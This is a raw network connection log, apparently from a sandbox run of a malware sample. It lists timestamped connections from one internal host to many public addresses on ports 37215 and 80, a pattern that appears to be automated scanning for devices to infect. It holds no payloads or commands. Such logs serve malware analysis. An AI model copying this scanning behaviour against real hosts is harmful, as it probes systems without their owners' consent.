Jan 5, 2025 14:34:53.766486883 CET	35784	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.766740084 CET	46246	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.766969919 CET	80	48364	132.86.162.206	192.168.2.13
Jan 5, 2025 14:34:53.766979933 CET	37215	49584	197.222.141.137	192.168.2.13
Jan 5, 2025 14:34:53.767024994 CET	37215	40946	197.87.222.2	192.168.2.13
Jan 5, 2025 14:34:53.767034054 CET	48364	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.767056942 CET	40946	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.767160892 CET	40850	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.767160892 CET	40850	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.767170906 CET	37215	50352	197.222.141.137	192.168.2.13
Jan 5, 2025 14:34:53.767204046 CET	50352	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.767524004 CET	41612	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.767549038 CET	37215	51538	41.177.145.25	192.168.2.13
Jan 5, 2025 14:34:53.767853975 CET	37215	52306	41.177.145.25	192.168.2.13
Jan 5, 2025 14:34:53.767905951 CET	52306	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.767916918 CET	55152	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.767918110 CET	55152	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.768217087 CET	80	45474	67.218.1.210	192.168.2.13
Jan 5, 2025 14:34:53.768248081 CET	45474	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.768260002 CET	55914	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.768357992 CET	37215	52564	197.184.139.233	192.168.2.13
Jan 5, 2025 14:34:53.768630981 CET	33226	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.768641949 CET	33226	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.768707037 CET	37215	53332	197.184.139.233	192.168.2.13
Jan 5, 2025 14:34:53.768748045 CET	53332	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.768918037 CET	33988	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.769121885 CET	37215	55356	197.45.188.115	192.168.2.13
Jan 5, 2025 14:34:53.769325972 CET	37215	56122	197.45.188.115	192.168.2.13
Jan 5, 2025 14:34:53.769325018 CET	47904	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.769325018 CET	47904	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.769361019 CET	56122	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.769635916 CET	48666	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.769706011 CET	37215	33532	41.146.88.94	192.168.2.13
Jan 5, 2025 14:34:53.770015001 CET	37215	34298	41.146.88.94	192.168.2.13
Jan 5, 2025 14:34:53.770020008 CET	33486	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.770020008 CET	33486	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.770042896 CET	34298	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.770325899 CET	34248	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.770433903 CET	37215	49400	156.59.131.59	192.168.2.13
Jan 5, 2025 14:34:53.770447969 CET	37215	48552	197.25.242.105	192.168.2.13
Jan 5, 2025 14:34:53.770477057 CET	49400	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.770693064 CET	59136	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.770693064 CET	59136	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.770802975 CET	37215	49314	197.25.242.105	192.168.2.13
Jan 5, 2025 14:34:53.770838022 CET	49314	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.770997047 CET	59898	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.771133900 CET	37215	45484	41.182.67.227	192.168.2.13
Jan 5, 2025 14:34:53.771375895 CET	39660	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.771375895 CET	39660	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.771505117 CET	37215	46246	41.182.67.227	192.168.2.13
Jan 5, 2025 14:34:53.771564007 CET	46246	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.771694899 CET	40416	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.771866083 CET	37215	40850	156.153.54.149	192.168.2.13
Jan 5, 2025 14:34:53.772180080 CET	46624	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.772180080 CET	46624	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.772326946 CET	37215	41612	156.153.54.149	192.168.2.13
Jan 5, 2025 14:34:53.772373915 CET	41612	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.772569895 CET	47378	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.772701025 CET	37215	55152	41.177.65.72	192.168.2.13
Jan 5, 2025 14:34:53.772989035 CET	37215	55914	41.177.65.72	192.168.2.13
Jan 5, 2025 14:34:53.773022890 CET	55914	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.773042917 CET	52300	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.773051977 CET	51000	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.773061991 CET	54362	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.773065090 CET	35784	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.773072004 CET	50352	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.773098946 CET	56122	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.773102045 CET	34298	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.773101091 CET	53332	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.773102045 CET	52306	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.773104906 CET	38046	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.773113966 CET	49314	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.773128033 CET	46246	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.773143053 CET	55914	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.773149967 CET	43944	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.773152113 CET	41612	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.773164988 CET	51078	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.773399115 CET	37215	33226	156.95.107.101	192.168.2.13
Jan 5, 2025 14:34:53.773646116 CET	37215	33988	156.95.107.101	192.168.2.13
Jan 5, 2025 14:34:53.773684025 CET	33988	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.773706913 CET	33988	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.774086952 CET	37215	47904	41.224.51.164	192.168.2.13
Jan 5, 2025 14:34:53.774396896 CET	37215	48666	41.224.51.164	192.168.2.13
Jan 5, 2025 14:34:53.774440050 CET	48666	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.774465084 CET	48666	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.774768114 CET	37215	33486	156.219.91.159	192.168.2.13
Jan 5, 2025 14:34:53.775068045 CET	37215	34248	156.219.91.159	192.168.2.13
Jan 5, 2025 14:34:53.775115967 CET	34248	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.775134087 CET	34248	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.775505066 CET	37215	59136	197.12.237.90	192.168.2.13
Jan 5, 2025 14:34:53.775760889 CET	37215	59898	197.12.237.90	192.168.2.13
Jan 5, 2025 14:34:53.775803089 CET	59898	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.775829077 CET	59898	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.776127100 CET	37215	39660	197.236.132.149	192.168.2.13
Jan 5, 2025 14:34:53.776144981 CET	51856	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:53.776155949 CET	58906	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:53.776163101 CET	35080	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.776163101 CET	34234	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:53.776163101 CET	59012	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:53.776163101 CET	41010	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:53.776163101 CET	43762	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:53.776165009 CET	48586	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:53.776165962 CET	42640	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:53.776168108 CET	36918	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:53.776168108 CET	55374	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:53.776168108 CET	53588	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:53.776168108 CET	36182	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:53.776170015 CET	40042	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:53.776170015 CET	48322	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:53.776175976 CET	41496	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:53.776176929 CET	54474	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:53.776175976 CET	50166	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:53.776176929 CET	49258	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:53.776182890 CET	57958	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:53.776185989 CET	48754	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:53.776187897 CET	48844	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:53.776187897 CET	43414	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:53.776187897 CET	35698	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:53.776192904 CET	54802	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:53.776194096 CET	44840	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:53.776196003 CET	48512	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:53.776196003 CET	37248	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:53.776196003 CET	58694	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:53.776196003 CET	51862	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:53.776196003 CET	43950	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:53.776196003 CET	46554	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:53.776199102 CET	40180	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:53.776215076 CET	43716	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:53.776487112 CET	37215	40416	197.236.132.149	192.168.2.13
Jan 5, 2025 14:34:53.776555061 CET	40416	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.776555061 CET	40416	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.776964903 CET	37215	46624	197.88.39.234	192.168.2.13
Jan 5, 2025 14:34:53.777295113 CET	37215	47378	197.88.39.234	192.168.2.13
Jan 5, 2025 14:34:53.777337074 CET	47378	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.777354956 CET	47378	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.778006077 CET	37215	52300	197.59.249.211	192.168.2.13
Jan 5, 2025 14:34:53.778016090 CET	37215	51000	197.10.74.211	192.168.2.13
Jan 5, 2025 14:34:53.778045893 CET	51000	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.778049946 CET	52300	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.778065920 CET	37215	35784	41.126.221.108	192.168.2.13
Jan 5, 2025 14:34:53.778075933 CET	37215	50352	197.222.141.137	192.168.2.13
Jan 5, 2025 14:34:53.778084993 CET	37215	54362	156.224.24.81	192.168.2.13
Jan 5, 2025 14:34:53.778095007 CET	37215	56122	197.45.188.115	192.168.2.13
Jan 5, 2025 14:34:53.778103113 CET	37215	34298	41.146.88.94	192.168.2.13
Jan 5, 2025 14:34:53.778109074 CET	35784	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.778109074 CET	50352	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.778112888 CET	37215	53332	197.184.139.233	192.168.2.13
Jan 5, 2025 14:34:53.778122902 CET	37215	52306	41.177.145.25	192.168.2.13
Jan 5, 2025 14:34:53.778129101 CET	54362	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.778134108 CET	56122	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.778140068 CET	34298	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.778183937 CET	53332	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.778183937 CET	52306	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.778419971 CET	37215	38046	197.54.31.40	192.168.2.13
Jan 5, 2025 14:34:53.778429031 CET	37215	49314	197.25.242.105	192.168.2.13
Jan 5, 2025 14:34:53.778436899 CET	37215	46246	41.182.67.227	192.168.2.13
Jan 5, 2025 14:34:53.778445959 CET	37215	55914	41.177.65.72	192.168.2.13
Jan 5, 2025 14:34:53.778454065 CET	37215	43944	156.211.32.141	192.168.2.13
Jan 5, 2025 14:34:53.778456926 CET	38046	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.778459072 CET	49314	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.778461933 CET	37215	41612	156.153.54.149	192.168.2.13
Jan 5, 2025 14:34:53.778470039 CET	37215	51078	156.218.187.106	192.168.2.13
Jan 5, 2025 14:34:53.778472900 CET	46246	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.778474092 CET	55914	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.778481960 CET	43944	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.778501987 CET	51078	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.778520107 CET	41612	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.778633118 CET	37215	33988	156.95.107.101	192.168.2.13
Jan 5, 2025 14:34:53.778667927 CET	33988	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.779356956 CET	37215	48666	41.224.51.164	192.168.2.13
Jan 5, 2025 14:34:53.779397011 CET	48666	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.780030012 CET	37215	34248	156.219.91.159	192.168.2.13
Jan 5, 2025 14:34:53.780071974 CET	34248	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.780694962 CET	37215	59898	197.12.237.90	192.168.2.13
Jan 5, 2025 14:34:53.780730009 CET	59898	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.781001091 CET	80	51856	183.180.216.81	192.168.2.13
Jan 5, 2025 14:34:53.781011105 CET	80	48586	60.208.214.47	192.168.2.13
Jan 5, 2025 14:34:53.781019926 CET	80	42640	2.208.165.87	192.168.2.13
Jan 5, 2025 14:34:53.781028986 CET	37215	58906	156.195.230.243	192.168.2.13
Jan 5, 2025 14:34:53.781037092 CET	37215	35080	156.233.138.121	192.168.2.13
Jan 5, 2025 14:34:53.781040907 CET	51856	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:53.781045914 CET	48586	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:53.781045914 CET	80	40042	166.131.190.80	192.168.2.13
Jan 5, 2025 14:34:53.781049967 CET	42640	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:53.781055927 CET	80	34234	105.76.238.137	192.168.2.13
Jan 5, 2025 14:34:53.781064034 CET	35080	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.781064034 CET	58906	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:53.781080961 CET	34234	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:53.781084061 CET	40042	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:53.781100035 CET	37215	36918	41.172.233.144	192.168.2.13
Jan 5, 2025 14:34:53.781110048 CET	80	59012	157.253.86.180	192.168.2.13
Jan 5, 2025 14:34:53.781117916 CET	37215	48322	197.125.8.61	192.168.2.13
Jan 5, 2025 14:34:53.781127930 CET	80	55374	122.134.154.13	192.168.2.13
Jan 5, 2025 14:34:53.781136036 CET	80	41010	70.180.28.131	192.168.2.13
Jan 5, 2025 14:34:53.781136990 CET	59012	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:53.781146049 CET	37215	43762	41.200.188.11	192.168.2.13
Jan 5, 2025 14:34:53.781158924 CET	36918	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:53.781158924 CET	55374	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:53.781167030 CET	41010	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:53.781173944 CET	43762	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:53.781193972 CET	48322	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:53.781215906 CET	58906	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:53.781215906 CET	58906	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:53.781279087 CET	48586	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:53.781291008 CET	48586	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:53.781399965 CET	37215	40416	197.236.132.149	192.168.2.13
Jan 5, 2025 14:34:53.781449080 CET	40416	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.781857014 CET	59588	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:53.782013893 CET	49268	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:53.782174110 CET	37215	47378	197.88.39.234	192.168.2.13
Jan 5, 2025 14:34:53.782212973 CET	47378	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.782644987 CET	35080	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.782644987 CET	35080	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.782872915 CET	51856	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:53.782872915 CET	51856	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:53.783534050 CET	35762	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.783653021 CET	52534	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:53.784338951 CET	43762	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:53.784338951 CET	43762	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:53.784626007 CET	41010	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:53.784626007 CET	41010	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:53.785108089 CET	44464	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:53.785253048 CET	41724	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:53.785963058 CET	48322	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:53.785963058 CET	48322	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:53.786022902 CET	37215	58906	156.195.230.243	192.168.2.13
Jan 5, 2025 14:34:53.786093950 CET	80	48586	60.208.214.47	192.168.2.13
Jan 5, 2025 14:34:53.786206007 CET	59012	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:53.786206007 CET	59012	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:53.786746025 CET	49018	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:53.786838055 CET	59722	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:53.787391901 CET	37215	35080	156.233.138.121	192.168.2.13
Jan 5, 2025 14:34:53.787497997 CET	36918	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:53.787497997 CET	36918	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:53.787681103 CET	80	51856	183.180.216.81	192.168.2.13
Jan 5, 2025 14:34:53.787708044 CET	42640	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:53.787722111 CET	42640	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:53.788300991 CET	37215	35762	156.233.138.121	192.168.2.13
Jan 5, 2025 14:34:53.788302898 CET	37608	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:53.788338900 CET	35762	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.788399935 CET	43350	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:53.789125919 CET	37215	43762	41.200.188.11	192.168.2.13
Jan 5, 2025 14:34:53.789165020 CET	35762	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.789331913 CET	80	41010	70.180.28.131	192.168.2.13
Jan 5, 2025 14:34:53.789361000 CET	55374	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:53.789375067 CET	55374	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:53.789729118 CET	56082	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:53.790218115 CET	34234	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:53.790218115 CET	34234	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:53.790582895 CET	34942	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:53.790705919 CET	37215	48322	197.125.8.61	192.168.2.13
Jan 5, 2025 14:34:53.790987968 CET	80	59012	157.253.86.180	192.168.2.13
Jan 5, 2025 14:34:53.791040897 CET	40042	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:53.791040897 CET	40042	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:53.791328907 CET	40742	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:53.792248964 CET	37215	36918	41.172.233.144	192.168.2.13
Jan 5, 2025 14:34:53.792459011 CET	80	42640	2.208.165.87	192.168.2.13
Jan 5, 2025 14:34:53.794002056 CET	37215	35762	156.233.138.121	192.168.2.13
Jan 5, 2025 14:34:53.794043064 CET	35762	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:53.794101000 CET	80	55374	122.134.154.13	192.168.2.13
Jan 5, 2025 14:34:53.794974089 CET	80	34234	105.76.238.137	192.168.2.13
Jan 5, 2025 14:34:53.795823097 CET	80	40042	166.131.190.80	192.168.2.13
Jan 5, 2025 14:34:53.799480915 CET	37215	40204	197.87.222.2	192.168.2.13
Jan 5, 2025 14:34:53.799491882 CET	80	35174	148.26.74.211	192.168.2.13
Jan 5, 2025 14:34:53.799527884 CET	37215	37312	197.54.31.40	192.168.2.13
Jan 5, 2025 14:34:53.799537897 CET	80	43754	75.150.125.115	192.168.2.13
Jan 5, 2025 14:34:53.799546957 CET	37215	48668	156.59.131.59	192.168.2.13
Jan 5, 2025 14:34:53.799556017 CET	80	57548	91.43.249.211	192.168.2.13
Jan 5, 2025 14:34:53.807590008 CET	37215	51530	197.59.249.211	192.168.2.13
Jan 5, 2025 14:34:53.807600021 CET	80	44760	67.218.1.210	192.168.2.13
Jan 5, 2025 14:34:53.807609081 CET	37215	50372	156.218.187.106	192.168.2.13
Jan 5, 2025 14:34:53.807617903 CET	80	47658	132.86.162.206	192.168.2.13
Jan 5, 2025 14:34:53.807626963 CET	37215	43238	156.211.32.141	192.168.2.13
Jan 5, 2025 14:34:53.807636976 CET	80	58414	165.35.35.169	192.168.2.13
Jan 5, 2025 14:34:53.807646036 CET	37215	49584	197.222.141.137	192.168.2.13
Jan 5, 2025 14:34:53.807655096 CET	37215	35014	41.126.221.108	192.168.2.13
Jan 5, 2025 14:34:53.807662010 CET	37215	53592	156.224.24.81	192.168.2.13
Jan 5, 2025 14:34:53.807672024 CET	37215	50230	197.10.74.211	192.168.2.13
Jan 5, 2025 14:34:53.808156013 CET	44434	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:53.808156013 CET	37894	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:53.808157921 CET	52292	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:53.808156013 CET	59486	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:53.808170080 CET	38844	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:53.808170080 CET	34728	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:53.808170080 CET	34848	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:53.808170080 CET	42380	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:53.808170080 CET	49444	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:53.808171034 CET	59460	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:53.808166981 CET	34378	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:53.808172941 CET	58776	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:53.808172941 CET	49196	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:53.808170080 CET	42836	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:53.808175087 CET	60040	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:53.808172941 CET	57244	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:53.808172941 CET	43882	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:53.808170080 CET	36132	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:53.808182955 CET	54926	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:53.808182955 CET	52840	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:53.808183908 CET	49448	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:53.808182001 CET	38642	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:53.808183908 CET	40610	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:53.808182001 CET	39778	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:53.808190107 CET	33470	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:53.808195114 CET	42704	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:53.808197021 CET	43026	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:53.808197021 CET	56372	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:53.808202028 CET	46928	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:53.808202028 CET	46638	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:53.808202028 CET	35082	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:53.808207035 CET	38300	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:53.811566114 CET	37215	45484	41.182.67.227	192.168.2.13
Jan 5, 2025 14:34:53.811574936 CET	37215	48552	197.25.242.105	192.168.2.13
Jan 5, 2025 14:34:53.811583996 CET	37215	33532	41.146.88.94	192.168.2.13
Jan 5, 2025 14:34:53.811592102 CET	37215	55356	197.45.188.115	192.168.2.13
Jan 5, 2025 14:34:53.811599970 CET	37215	52564	197.184.139.233	192.168.2.13
Jan 5, 2025 14:34:53.811608076 CET	37215	51538	41.177.145.25	192.168.2.13
Jan 5, 2025 14:34:53.812972069 CET	37215	44434	156.20.37.112	192.168.2.13
Jan 5, 2025 14:34:53.812982082 CET	37215	37894	41.24.113.224	192.168.2.13
Jan 5, 2025 14:34:53.813021898 CET	44434	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:53.813021898 CET	37894	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:53.813124895 CET	37894	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:53.813124895 CET	37894	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:53.813560009 CET	38538	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:53.813956022 CET	44434	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:53.813956022 CET	44434	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:53.814273119 CET	45072	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:53.815507889 CET	37215	33486	156.219.91.159	192.168.2.13
Jan 5, 2025 14:34:53.815525055 CET	37215	40850	156.153.54.149	192.168.2.13
Jan 5, 2025 14:34:53.815534115 CET	37215	47904	41.224.51.164	192.168.2.13
Jan 5, 2025 14:34:53.815541983 CET	37215	33226	156.95.107.101	192.168.2.13
Jan 5, 2025 14:34:53.815550089 CET	37215	55152	41.177.65.72	192.168.2.13
Jan 5, 2025 14:34:53.817903042 CET	37215	37894	41.24.113.224	192.168.2.13
Jan 5, 2025 14:34:53.818696976 CET	37215	44434	156.20.37.112	192.168.2.13
Jan 5, 2025 14:34:53.819546938 CET	37215	46624	197.88.39.234	192.168.2.13
Jan 5, 2025 14:34:53.819555998 CET	37215	39660	197.236.132.149	192.168.2.13
